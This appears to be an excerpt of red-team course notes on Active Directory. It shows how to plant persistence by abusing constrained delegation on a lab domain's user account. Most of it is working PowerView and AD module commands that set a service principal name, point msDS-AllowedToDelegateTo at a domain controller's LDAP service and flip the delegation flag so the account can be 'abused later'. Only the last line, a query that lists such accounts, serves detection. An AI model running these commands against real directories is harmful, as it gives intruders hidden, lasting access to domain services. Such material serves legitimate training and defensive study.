• Note that the msDS-AllowedToDelegateTo is the user account flag which controls the services to which a user account has access to.

• This means, with enough privileges, it is possible to access any service from a user – a neat persistence trick.

• Enough privileges? – SeEnableDelegationPrivilege on the DC and full rights on the target user - default for Domain Admins and Enterprise Admins.

• That is, we can force set 'Trusted to Authenticate for Delegation' and ms-DS-AllowedToDelegateTo on a user (or create a new user - which is more noisy) and abuse it later.

• Using PowerView:

Set-DomainObject -Identity devuser -Set @{serviceprincipalname='dev/svc'}

Set-DomainObject -Identity devuser -Set @{"msds-allowedtodelegateto"="ldap/usdc.us.techcorp.local"}

Set-DomainObject -SamAccountName devuser1 -Xor @{"useraccountcontrol"="16777216"}

• Using AD module:

Set-ADUser -Identity devuser -ServicePrincipalNames @{Add='dev/svc'}

Set-ADUser -Identity devuser -Add @{'msDS-AllowedToDelegateTo'= @('ldap/usdc' , 'ldap/us-dc.us.techcorp.local')} -Ve

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDSAllowedToDelegateTo